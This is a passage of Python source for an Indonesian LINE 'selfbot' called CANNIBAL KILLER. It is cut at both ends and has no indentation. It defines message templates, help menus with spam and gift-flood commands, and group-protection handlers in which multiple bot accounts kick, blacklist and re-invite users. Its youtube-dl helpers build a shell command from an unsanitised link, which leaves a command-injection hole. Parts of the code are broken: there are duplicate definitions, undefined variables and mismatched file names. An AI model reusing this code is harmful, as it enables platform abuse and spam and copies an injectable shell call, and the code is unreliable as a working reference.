hari = ["Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu"]
bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"]
inihari = datetime.now(tz=tz)
hr = inihari.strftime('%A')
bln = inihari.strftime('%m')
for i in range(len(day)):
if hr == day[i]: hasil = hari[i]
for k in range(0, len(bulan)):
if bln == str(k): bln = bulan[k-1]
time = "{}, {} - {} - {} | {}".format(str(hasil), str(inihari.strftime('%d')), str(bln), str(inihari.strftime('%Y')), str(inihari.strftime('%H:%M:%S')))
with open("errorLog.txt","a") as error:
error.write("\n[{}] {}".format(str(time), text))
def sendTemplates(to, data):
data = data
url = "https://api.line.me/message/v3/share"
headers = {}
headers['User-Agent'] = 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi Note 5 Build/OPM1.171019.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.3396.87 Mobile Safari/537.36 Line/8.1.1'
headers['Content-Type'] = 'application/json'
headers['Authorization'] = 'Bearer <KEY>'
sendPost = requests.post(url, data=json.dumps(data), headers=headers)
print(sendPost)
return sendPost
def sendTextTemplate(to, text):
data = {
"type": "flex",
"altText": "<NAME>",
"contents":{
"type": "bubble",
"size": "micro",
"body": {
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": text,
"size": "xs",
"wrap": True,
"weight": "regular",
"offsetStart": "3px"
}
],
"margin": "xs",
"spacing": "md",
"backgroundColor": "#ffffff"
},
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "text",
"text": "<NAME>",
"align": "center",
"size": "xs"
}
],
"paddingAll": "2px",
"backgroundColor": "#000000",
"margin": "xs"
}
],
"paddingAll": "0px",
"borderWidth": "2px",
"borderColor": "#FF0000",
"cornerRadius": "10px",
"spacing": "xs"
},
"styles": {
"body": {
"backgroundColor": "#ffff00"
}
}
}
}
cl.postTemplate(to, data)
def sendTextTemplate8(to, text):
data = {
"type": "flex",
"altText": "{} ᴘᴀᴘᴀ ᴋᴜʀᴀɴɢ ᴅᴇsᴀʜᴀɴ".format(cl.getProfile().displayName),
"contents": {
"type": "bubble",
"body": {
"type": "box",
"layout": "horizontal",
"spacing": "md",
"contents": [
{
"type": "box",
"layout": "vertical",
"flex": 2,
"contents": [
{
"type": "text",
"text": text,
"size": "md",
"weight": "bold",
"wrap": True,
"color": "#40E0D0",
"align": "center"
},
]
}
]
},
"styles": {
"body": {
"backgroundColor": "#000000"
},
"footer": {
"backgroundColor": "#00008B"
},
"header": {
"backgroundColor": "#00008B"
}
},
"hero": {
"type": "image",
"aspectRatio": "20:13",
"aspectMode": "cover",
"url": "https://media.tenor.com/images/842c542426869f999afaeb7d8c7940b3/tenor.gif",
"size": "full",
"margin": "xl"
},
"footer": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "ᴏᴡɴᴇʀ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#7CFC00",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
},
{
"type": "separator",
"color": "#E5E4E2"
},
{
"type": "text",
"text": "ᴘᴇsᴀɴ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#FFD700",
"action": {
"type": "uri",
"uri": "line://app/1602687308-GXq4Vvk9/?type=text&text=Order"
},
"align": "center"
}
]
},
"header": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "<NAME>",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#F0F8FF",
"align": "center"
}
]
}
}
}
cl.postTemplate(to, data)
def sendTextTemplate7(to, text):
data = {
"type": "flex",
"altText": "{} ᴘᴀᴘᴀ ᴋᴜʀᴀɴɢ ᴅᴇsᴀʜᴀɴ".format(cl.getProfile().displayName),
"contents": {
"type": "bubble",
"body": {
"type": "box",
"layout": "horizontal",
"spacing": "md",
"contents": [
{
"type": "box",
"layout": "vertical",
"flex": 2,
"contents": [
{
"type": "text",
"text": text,
"size": "md",
"weight": "bold",
"wrap": True,
"color": "#40E0D0",
"align": "center"
},
]
}
]
},
"styles": {
"body": {
"backgroundColor": "#000000"
},
"footer": {
"backgroundColor": "#00008B"
},
"header": {
"backgroundColor": "#00008B"
}
},
"hero": {
"type": "image",
"aspectRatio": "20:13",
"aspectMode": "cover",
"url": "https://media.giphy.com/media/NTj6PZtxqt6U91ksRZ/giphy.gif",
"size": "full",
"margin": "xl"
},
"footer": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "ᴏᴡɴᴇʀ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#7CFC00",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
},
{
"type": "separator",
"color": "#E5E4E2"
},
{
"type": "text",
"text": "ᴘᴇsᴀɴ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#FFD700",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
}
]
},
"header": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "<NAME>",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#F0F8FF",
"align": "center"
}
]
}
}
}
cl.postTemplate(to, data)
def sendTextTemplate6(to, text):
data = {
"type": "flex",
"altText": "{} ᴘᴀᴘᴀ ᴋᴜʀᴀɴɢ ᴅᴇsᴀʜᴀɴ".format(cl.getProfile().displayName),
"contents": {
"type": "bubble",
"body": {
"type": "box",
"layout": "horizontal",
"spacing": "md",
"contents": [
{
"type": "box",
"layout": "vertical",
"flex": 2,
"contents": [
{
"type": "text",
"text": text,
"size": "md",
"weight": "bold",
"wrap": True,
"color": "#40E0D0",
"align": "center"
},
]
}
]
},
"styles": {
"body": {
"backgroundColor": "#000000"
},
"footer": {
"backgroundColor": "#00008B"
},
"header": {
"backgroundColor": "#00008B"
}
},
"hero": {
"type": "image",
"aspectRatio": "20:13",
"aspectMode": "cover",
"url": "https://media.giphy.com/media/nbBbfmBVnuIYZ5itAc/giphy.gif",
"size": "full",
"margin": "xl"
},
"footer": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "ᴏᴡɴᴇʀ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#7CFC00",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
},
{
"type": "separator",
"color": "#E5E4E2"
},
{
"type": "text",
"text": "ᴘᴇsᴀɴ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#FFD700",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
}
]
},
"header": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "CANNIBAL",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#F0F8FF",
"align": "center"
}
]
}
}
}
cl.postTemplate(to, data)
def sendTextTemplate4(to, text):
data = {
"type": "flex",
"altText": "{} ᴘᴀᴘᴀ ᴋᴜʀᴀɴɢ ᴅᴇsᴀʜᴀɴ".format(cl.getProfile().displayName),
"contents": {
"type": "bubble",
"body": {
"type": "box",
"layout": "horizontal",
"spacing": "md",
"contents": [
{
"type": "box",
"layout": "vertical",
"flex": 2,
"contents": [
{
"type": "text",
"text": text,
"size": "md",
"weight": "bold",
"wrap": True,
"color": "#40E0D0",
"align": "center"
},
]
}
]
},
"styles": {
"body": {
"backgroundColor": "#000000"
},
"footer": {
"backgroundColor": "#00008B"
},
"header": {
"backgroundColor": "#00008B"
}
},
"hero": {
"type": "image",
"aspectRatio": "20:13",
"aspectMode": "cover",
"url": "https://media0.giphy.com/media/xVxio2tNLAM5q/200w.webp?cid=19f5b51a5c44951d4b47664273e6c074",
"size": "full",
"margin": "xl"
},
"footer": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "ᴏᴡɴᴇʀ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#7CFC00",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
},
{
"type": "separator",
"color": "#E5E4E2"
},
{
"type": "text",
"text": "ᴘᴇsᴀɴ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#FFD700",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
}
]
},
"header": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "<NAME>",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#F0F8FF",
"align": "center"
}
]
}
}
}
cl.postTemplate(to, data)
def sendTextTemplate5(to, text):
data = {
"type": "flex",
"altText": "<NAME>",
"contents": {
"type": "bubble",
"body": {
"type": "box",
"layout": "horizontal",
"spacing": "md",
"contents": [
{
"type": "box",
"layout": "vertical",
"flex": 2,
"contents": [
{
"type": "text",
"text": text,
"size": "sm",
"weight": "bold",
"wrap": True,
"color": "#F0F8FF"
}
]
}
]
},
"styles": {
"body": {
"backgroundColor": "#000000"
},
"footer": {
"backgroundColor": "#00008B"
},
"header": {
"backgroundColor": "#00008B"
}
},
"footer": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "sᴇᴇ ʏᴏᴜ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#FFD700",
"align": "center"
}
]
},
"header": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "sᴏᴜɴᴅᴄʟᴏᴜᴅ",
"size": "md",
"wrap": True,
"weight": "bold",
"color": "#FFD700",
"align": "center"
}
]
}
}
}
cl.postTemplate(to, data)
def sendTextTemplate1(to, text):
data = {
"type": "template",
"altText": "<NAME>",
"contents": {
"type": "bubble",
"body": {
"type": "box",
"layout": "vertical",
"contents": [
{
"text": text,
"size": "sm",
"margin": "none",
"color": "#8B008B",
"wrap": True,
"weight": "regular",
"type": "text"
}
]
}
}
}
cl.postTemplate(to, data)
def sendTextTemplate2(to, text):
data = {
"type": "flex",
"altText": "<NAME>",
"contents": {
"styles": {
"body": {
"backgroundColor": "#0000CD"
}
},
"type": "bubble",
"body": {
"contents": [
{
"contents": [
{
"contents": [
{
"text": text,
"size": "md",
"margin": "none",
"color": "#FFFF00",
"wrap": True,
"weight": "bold",
"type": "text"
}
],
"type": "box",
"layout": "baseline"
}
],
"type": "box",
"layout": "vertical"
}
],
"type": "box",
"spacing": "md",
"layout": "vertical"
}
}
}
cl.postTemplate(to, data)
def sendTextTemplate3(to, text):
data = {
"type": "flex",
"altText": "<NAME>",
"contents": {
"type": "bubble",
"body": {
"type": "box",
"layout": "horizontal",
"spacing": "md",
"contents": [
{
"type": "box",
"layout": "vertical",
"flex": 2,
"contents": [
{
"type": "text",
"text": text,
"size": "sm",
"weight": "bold",
"wrap": True,
"color": "#00FF00"
}
]
}
]
},
"styles": {
"body": {
"backgroundColor": "#000000"
},
"footer": {
"backgroundColor": "#00FFFF"
},
"header": {
"backgroundColor": "#00FFFF"
}
},
"hero": {
"type": "image",
"aspectRatio": "20:13",
"aspectMode": "cover",
"url": "https://media.giphy.com/media/67pVlH3LSLDjTBikzf/giphy.gif",
"size": "full",
"margin": "xl"
},
"footer": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "ᴏᴡɴᴇʀ",
"size": "xxl",
"wrap": True,
"weight": "bold",
"color": "#000000",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
}
]
},
"header": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "CANNIBAL",
"size": "md",
"wrap": True,
"weight": "bold",
"color": "#000000",
"align": "center"
}
]
}
}
}
cl.postTemplate(to, data)
def sendStickerTemplate(to, text):
url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
to = op.param1
data = {
"type": "template",
"altText": "{} sent a sticker".format(cl.getProfile().displayName),
"template": {
"type": "image_carousel",
"columns": [
{
"imageUrl": text,
"size": "full",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
}
}
]
}
}
def sendStickerTemplate(to, text):
url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
to = op.param1
data = {
"type": "template",
"altText": "{} sent a sticker".format(client.getProfile().displayName),
"template": {
"type": "image_carousel",
"columns": [
{
"imageUrl": text,
"size": "full",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
}
}
]
}
}
cl.postTemplate(to, data)
def youtubeMp3(to, link):
subprocess.getoutput('youtube-dl --extract-audio --audio-format mp3 --output oleng.mp3 {}'.format(link))
try:
cl.sendAudio(to, 'cannibal.mp3')
time.sleep(2)
os.remove('cannibal.mp3')
except Exception as e:
cl.sendMessage(to, 'CANNIBAL KILLER\nʟɪɴᴋ ᴀɴᴅᴀ sᴀʟᴀʜ')
def youtubeMp4(to, link):
subprocess.getoutput('youtube-dl --format mp4 --output cannibal.mp4 {}'.format(link))
try:
cl.sendVideo(to, "cannibal.mp4")
time.sleep(2)
os.remove('cannibal.mp4')
except Exception as e:
cl.sendMessage(to, ' ᴇʀʀᴏʀ\nʟɪɴᴋ ᴀɴᴅᴀ sᴀʟᴀʜ', contentMetadata = {'AGENT_ICON': 'http://dl.profile.line-cdn.net/'+client.getContact(clientMid).pictureStatus, 'AGENT_NAME': 'ᴇʀʀᴏʀ', 'AGENT_LINK': 'https://line.me/ti/p/~4rman3'})
def delExpire():
if temp_flood != {}:
for tmp in temp_flood:
if temp_flood[tmp]["expire"] == True:
if time.time() - temp_flood[tmp]["time"] >= 3*10:
temp_flood[tmp]["expire"] = False
temp_flood[tmp]["time"] = time.time()
try:
veza = "ʙᴏᴛ ᴀᴋᴛɪғ ʙᴏssᴋᴜ"
cl.sendMessage(tmp, veza, {'AGENT_LINK': "https://line.me/ti/p/~4rman3", 'AGENT_ICON': "http://klikuntung.com/images/messengers/line-logo.png", 'AGENT_NAME': "Detect Spam "})
except Exception as error:
logError(error)
def delExpirev2():
if temp_flood != {}:
for tmp in temp_flood:
if temp_flood[tmp]["expire"] == True:
temp_flood[tmp]["expire"] = False
temp_flood[tmp]["time"] = time.time()
try:
veza = "ʙᴏᴛ ᴀᴋᴛɪғ ʙᴏssᴋᴜ"
cl.sendMessage(tmp, veza, {'AGENT_LINK': "https://line.me/ti/p/~4rman3", 'AGENT_ICON': "http://klikuntung.com/images/messengers/line-logo.png", 'AGENT_NAME': "Detect Spam "})
except Exception as error:
logError(error)
def musik(to):
contentMetadata={'previewUrl': "http://dl.profile.line-cdn.net/"+cl.getContact(mid).picturePath, 'i-installUrl': 'http://itunes.apple.com/app/linemusic/id966142320', 'type': 'mt', 'subText': cl.getContact(mid).statusMessage if cl.getContact(mid).statusMessage != '' else 'http://line.me/ti/p/~4rman3', 'a-installUrl': 'market://details?id=jp.linecorp.linemusic.android', 'a-packageName': 'jp.linecorp.linemusic.android', 'countryCode': 'JP', 'a-linkUri': 'linemusic://open?target=track&item=mb00000000016197ea&subitem=mt000000000d69e2db&cc=JP&from=lc&v=1', 'i-linkUri': 'linemusic://open?target=track&item=mb00000000016197ea&subitem=mt000000000d69e2db&cc=JP&from=lc&v=1', 'text': cl.getContact(mid).displayName, 'id': 'mt000000000d69e2db', 'linkUri': 'https://music.cl.cl/launch?target=track&item=mb00000000016197ea&subitem=mt000000000d69e2db&cc=JP&from=lc&v=1','MSG_SENDER_ICON': "https://os.me.naver.jp/os/p/"+mid,'MSG_SENDER_NAME': cl.getContact(mid).displayName,}
return cl.sendMessage(to, cl.getContact(mid).displayName, contentMetadata, 19)
def sendMention2(to, mid, firstmessage, lastmessage):
try:
arrData = ""
text = "%s " %(str(firstmessage))
arr = []
mention = "@x "
slen = str(len(text))
elen = str(len(text) + len(mention) - 1)
arrData = {'S':slen, 'E':elen, 'M':mid}
arr.append(arrData)
text += mention + str(lastmessage)
cl.sendMessage(to, text, {'MENTION': str('{"MENTIONEES":' + json.dumps(arr) + '}')}, 0)
cl.sendImageWithURL(msg.to,image)
except Exception as error:
cl.sendMessage(to, "[ INFO ] Error :\n" + str(error))
def command(text):
pesan = text.lower()
if pesan.startswith(Setmain["keyCommand"]):
cmd = pesan.replace(Setmain["keyCommand"],"")
else:
cmd = "command"
return cmd
def help():
key = Setmain["keyCommand"]
key = key.title()
helpMessage = "╭───────────────────╮" + "\n" + \
"├ 🔹CANNIBAL KILLER🔹 │" + "\n" + \
"╰───────────────────╯" + "\n" + \
"╭────────────╮" + "\n" + \
"├🔹" + key + "ᴍᴇ\n" + \
"├🔹" + key + "ᴍɪᴅ「@」\n" + \
"├🔹" + key + "ɪɴғᴏ「@」\n" + \
"├🔹" + key + "<KEY>" + \
"├🔹" + key + "ʀᴜɴᴛɪᴍᴇ\n" + \
"├🔹" + key + "ʙᴀʙᴀᴛ「@」\n" + \
"├🔹" + key + "sᴘ\n" + \
"├🔹" + key + "ᴡᴏʏ / ᴄᴏʟᴏᴋ\n" + \
"├🔹" + key + "ᴊᴏɪɴ\n" + \
"├🔹" + key + "ᴏᴜᴛ\n" + \
"├🔹" + key + "ᴀs¹-⁴\n" + \
"├🔹" + key + "ᴊs sᴛᴀʏ\n" + \
"├🔹" + key + "ᴊs ɪɴ\n" + \
"├🔹" + key + "ʙʏᴇᴍᴇ\n" + \
"├🔹" + key + "ʟᴇᴀᴠᴇ「ɴᴀᴍᴇ ɢʀᴏᴜᴘ」\n" + \
"├🔹" + key + "ɢɪɴғᴏ\n" + \
"├🔹" + key + "sᴇʟғ ᴏɴ「@」\n" + \
"├🔹" + key + "ᴏᴘᴇɴ\n" + \
"├🔹" + key + "ᴄʟᴏsᴇ\n" + \
"├🔹" + key + "ᴜʀʟɢʀᴜᴘ\n" + \
"├🔹" + key + "ɪɴғᴏɢʀᴜᴘ「ɴᴏ」\n" + \
"├🔹" + key + "ɪɴғᴏᴍᴇᴍ「ɴᴏ」\n" + \
"├🔹" + key + "ᴀʟʟ ᴄʟᴇᴀʀ\n" + \
"├🔹" + key + "ʜᴀᴘᴜsᴄʜᴀᴛ\n" + \
"├🔹" + key + "ғʀɪᴇɴᴅʟɪsᴛ\n" + \
"├🔹" + key + "ɢʀᴏᴜᴘʟɪsᴛ\n" + \
"├🔹" + key + "ᴜᴘᴅᴀᴛᴇғᴏᴛᴏ\n" + \
"├🔹" + key + "ᴜᴘᴅᴀᴛᴇɢʀᴜᴘ\n" + \
"├🔹" + key + "ᴜᴘᴅᴀᴛᴇʙᴏᴛ\n" + \
"├🔹" + key + "sᴇᴛᴋᴇʏ「ɴᴇᴡᴋᴇʏ」\n" + \
"├🔹" + key + "ᴍʏᴋᴇʏ\n" + \
"├🔹" + key + "sᴇʟғ 「ᴏɴ/ᴏғғ」\n" + \
"├🔹" + key + "ᴋᴇᴛɪᴋ「 ʀᴇғʀᴇsʜ 」\n" + \
"╰───────────────╯"
return helpMessage
def helpbot():
key = Setmain["keyCommand"]
key = key.title()
helpMessage1 = "╭───────────────────╮" + "\n" + \
"├ 🔹CANNIBAL KILLER🔹 │" + "\n" + \
"╰───────────────────╯" + "\n" + \
"╭────────────╮" + "\n" + \
"├🔹" + key + "ʙʟᴄ\n" + \
"├🔹" + key + "ʙᴀɴ:ᴏɴ\n" + \
"├🔹" + key + "ᴜɴʙᴀɴ:ᴏɴ\n" + \
"├🔹" + key + "ʙᴀɴ「@」\n" + \
"├🔹" + key + "ᴜɴʙᴀɴ「@」\n" + \
"├🔹" + key + "ᴛᴀʟᴋʙᴀɴ「@」\n" + \
"├🔹" + key + "ᴜɴᴛᴀʟᴋʙᴀɴ「@」\n" + \
"├🔹" + key + "ᴛᴀʟᴋʙᴀɴ:ᴏɴ\n" + \
"├🔹" + key + "ᴜɴᴛᴀʟᴋʙᴀɴ:ᴏɴ\n" + \
"├🔹" + key + "ʙᴀɴʟɪsᴛ\n" + \
"├🔹" + key + "ᴛᴀʟᴋʙᴀɴʟɪsᴛ\n" + \
"├🔹" + key + "ᴄʟᴇᴀʀʙᴀɴ\n" + \
"├🔹" + key + "ʀᴇғʀᴇsʜ\n" + \
"├🔹CANNIBAL KILLER🔹\n" + \
"├🔹" + key + "ᴄᴇᴋ sɪᴅᴇʀ\n" + \
"├🔹" + key + "ᴄᴇᴋ sᴘᴀᴍ\n" + \
"├🔹" + key + "ᴄᴇᴋ ᴘᴇsᴀɴ \n" + \
"├🔹" + key + "ᴄᴇᴋ ʀᴇsᴘᴏɴ \n" + \
"├🔹" + key + "ᴄᴇᴋ ᴡᴇʟᴄᴏᴍᴇ\n" + \
"├🔹" + key + "sᴇᴛ sɪᴅᴇʀ: (ᴛᴇxᴛ)\n" + \
"├🔹" + key + "sᴇᴛ sᴘᴀᴍ: (ᴛᴇxᴛ)\n" + \
"├🔹" + key + "sᴇᴛ ᴘᴇsᴀɴ: (ᴛᴇxᴛ)\n" + \
"├🔹" + key + "sᴇᴛ ʀᴇsᴘᴏɴ: (ᴛᴇxᴛ)\n" + \
"├🔹" + key + "sᴇᴛ ᴡᴇʟᴄᴏᴍᴇ: (ᴛᴇxᴛ)\n" + \
"├🔹" + key + "ᴍʏɴᴀᴍᴇ:「ɴᴀᴍᴀ」\n" + \
"├🔹" + key + "ɢɪғᴛ:「ᴍɪᴅ 」「ᴊᴜᴍʟᴀʜ」\n" + \
"├🔹" + key + "sᴘᴀᴍ:「ᴍɪᴅ」「ᴊᴜᴍʟᴀʜ」\n" + \
"╰──────────────────╯" + "\n" + \
"╭─🔹ᴄʀᴇᴀᴛᴏʀ ʙʏᴇ🔹─╮\n cannibal team\n╰─🔹CANNIBAL KILLER🔹─╯"
return helpMessage1
def bot(op):
global time
global ast
global groupParam
try:
#if op.type == 0:
#return
if op.type == 11:
if op.param1 in protectqr:
try:
if cl.getGroup(op.param1).preventedJoinByTicket == False:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
cl.reissueGroupTicket(op.param1)
X = cl.getGroup(op.param1)
X.preventedJoinByTicket = True
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.kickoutFromGroup(op.param1,[op.param2])
cl.cancelGroupInvitation(op.param1,[op.param2])
cl.updateGroup(X)
except:
try:
if ki.getGroup(op.param1).preventedJoinByTicket == False:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
ki.reissueGroupTicket(op.param1)
X = ki.getGroup(op.param1)
X.preventedJoinByTicket = True
Ticket = ki.reissueGroupTicket(op.param1)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.kickoutFromGroup(op.param1,[op.param2])
ki.cancelGroupInvitation(op.param1,[op.param2])
ki.updateGroup(X)
cl.sendMessage(op.param1, None, contentMetadata={'mid': op.param2}, contentType=13)
except:
try:
if kk.getGroup(op.param1).preventedJoinByTicket == False:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
kk.reissueGroupTicket(op.param1)
X = kk.getGroup(op.param1)
X.preventedJoinByTicket = True
Ticket = kk.reissueGroupTicket(op.param1)
kk.acceptGroupInvitationByTicket(op.param1,Ticket)
kk.kickoutFromGroup(op.param1,[op.param2])
kk.cancelGroupInvitation(op.param1,[op.param2])
kk.updateGroup(X)
cl.sendMessage(op.param1, None, contentMetadata={'mid': op.param2}, contentType=13)
except:
try:
if kc.getGroup(op.param1).preventedJoinByTicket == False:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
kc.reissueGroupTicket(op.param1)
X = kc.getGroup(op.param1)
X.preventedJoinByTicket = True
Ticket = kc.reissueGroupTicket(op.param1)
kc.acceptGroupInvitationByTicket(op.param1,Ticket)
kc.kickoutFromGroup(op.param1,[op.param2])
kc.cancelGroupInvitation(op.param1,[op.param2])
kc.updateGroup(X)
cl.sendMessage(op.param1, None, contentMetadata={'mid': op.param2}, contentType=13)
except:
try:
if ko.getGroup(op.param1).preventedJoinByTicket == False:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
ko.reissueGroupTicket(op.param1)
X = ko.getGroup(op.param1)
X.preventedJoinByTicket = True
Ticket = ko.reissueGroupTicket(op.param1)
ko.acceptGroupInvitationByTicket(op.param1,Ticket)
ko.kickoutFromGroup(op.param1,[op.param2])
ko.cancelGroupInvitation(op.param1,[op.param2])
ko.updateGroup(X)
cl.sendMessage(op.param1, None, contentMetadata={'mid': op.param2}, contentType=13)
except:
try:
if jk.getGroup(op.param1).preventedJoinByTicket == False:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
cl.reissueGroupTicket(op.param1)
X = jk.getGroup(op.param1)
X.preventedJoinByTicket = True
Ticket = jk.reissueGroupTicket(op.param1)
jk.acceptGroupInvitationByTicket(op.param1,Ticket)
jk.kickoutFromGroup(op.param1,[op.param2])
jk.cancelGroupInvitation(op.param1,[op.param2])
jk.updateGroup(X)
jk.sendMessage(op.param1, None, contentMetadata={'mid': op.param2}, contentType=13)
except:
try:
if cl.getGroup(op.param1).preventedJoinByTicket == False:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
cl.reissueGroupTicket(op.param1)
X = cl.getGroup(op.param1)
X.preventedJoinByTicket = True
Ticket = cl.reissueGroupTicket(op.param1)
sw.acceptGroupInvitationByTicket(op.param1,Ticket)
sw.kickoutFromGroup(op.param1,[op.param2])
sw.cancelGroupInvitation(op.param1,[op.param2])
sw.leaveGroup(op.param1)
cl.updateGroup(X)
cl.inviteIntoGroup(op.param1,[Zmid])
cl.sendMessage(op.param1, None, contentMetadata={'mid': op.param2}, contentType=13)
except:
pass
if op.type == 13:
if mid in op.param3:
if wait["autoLeave"] == True:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
cl.acceptGroupInvitation(op.param1)
ginfo = cl.getGroup(op.param1)
sendTextTemplate(op.param1,"ᴘᴀᴘᴀʏ ᴄᴀʏᴀɴᴋ...\n ɢʀᴏᴜᴘ " +str(ginfo.name))
cl.leaveGroup(op.param1)
else:
cl.acceptGroupInvitation(op.param1)
ginfo = cl.getGroup(op.param1)
sendTextTemplate(op.param1,"ᴛᴀɴᴋs ᴜᴅᴀʜ ᴊᴇᴘɪᴛ... " + str(ginfo.name))
if op.type == 13:
if mid in op.param3:
if wait["autoJoin"] == True:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
cl.acceptGroupInvitation(op.param1)
ginfo = cl.getGroup(op.param1)
sendTextTemplate(op.param1,"ʜᴀʏ sᴇᴍᴜᴀ\nᴀʙɪ ᴅᴀᴛᴀɴɢ\nᴅɪ ɢʀᴏᴜᴘ " +str(ginfo.name))
else:
cl.acceptGroupInvitation(op.param1)
ginfo = cl.getGroup(op.param1)
sendTextTemplate(op.param1,"ʜᴀʏ sᴇᴍᴜᴀ\nᴀʙɪ ᴅᴀᴛᴀɴɢ\nᴅɪ ɢʀᴏᴜᴘ " + str(ginfo.name))
if Amid in op.param3:
if wait["autoJoin"] == True:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
ki.acceptGroupInvitation(op.param1)
ginfo = ki.getGroup(op.param1)
ki.leaveGroup(op.param1)
else:
ki.acceptGroupInvitation(op.param1)
ginfo = ki.getGroup(op.param1)
if Bmid in op.param3:
if wait["autoJoin"] == True:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
kk.acceptGroupInvitation(op.param1)
ginfo = kk.getGroup(op.param1)
kk.leaveGroup(op.param1)
else:
kk.acceptGroupInvitation(op.param1)
ginfo = kk.getGroup(op.param1)
if Cmid in op.param3:
if wait["autoJoin"] == True:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
kc.acceptGroupInvitation(op.param1)
ginfo = kc.getGroup(op.param1)
kc.leaveGroup(op.param1)
else:
kc.acceptGroupInvitation(op.param1)
ginfo = kc.getGroup(op.param1)
if Dmid in op.param3:
if wait["autoJoin"] == True:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
ko.acceptGroupInvitation(op.param1)
ginfo = ko.getGroup(op.param1)
ko.leaveGroup(op.param1)
else:
ko.acceptGroupInvitation(op.param1)
ginfo = ko.getGroup(op.param1)
if Emid in op.param3:
if wait["autoJoin"] == True:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
jk.acceptGroupInvitation(op.param1)
ginfo = jk.getGroup(op.param1)
jk.leaveGroup(op.param1)
else:
jk.acceptGroupInvitation(op.param1)
ginfo = jk.getGroup(op.param1)
if op.type == 19:
if op.param1 in protectkick:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
wait["blacklist"][op.param2] = True
try:
jk.findAndAddContactsByMid(op.param3)
jk.kickoutFromGroup(op.param1,[op.param2])
jk.cancelGroupInvitation(op.param1,[op.param2])
jk.inviteIntoGroup(op.param1,[op.param3])
except:
try:
ki.findAndAddContactsByMid(op.param3)
ki.kickoutFromGroup(op.param1,[op.param2])
ki.cancelGroupInvitation(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
except:
try:
kk.findAndAddContactsByMid(op.param3)
kk.kickoutFromGroup(op.param1,[op.param2])
kk.cancelGroupInvitation(op.param1,[op.param2])
kk.inviteIntoGroup(op.param1,[op.param3])
except:
try:
kc.findAndAddContactsByMid(op.param3)
kc.kickoutFromGroup(op.param1,[op.param2])
kc.cancelGroupInvitation(op.param1,[op.param2])
kc.inviteIntoGroup(op.param1,[op.param3])
except:
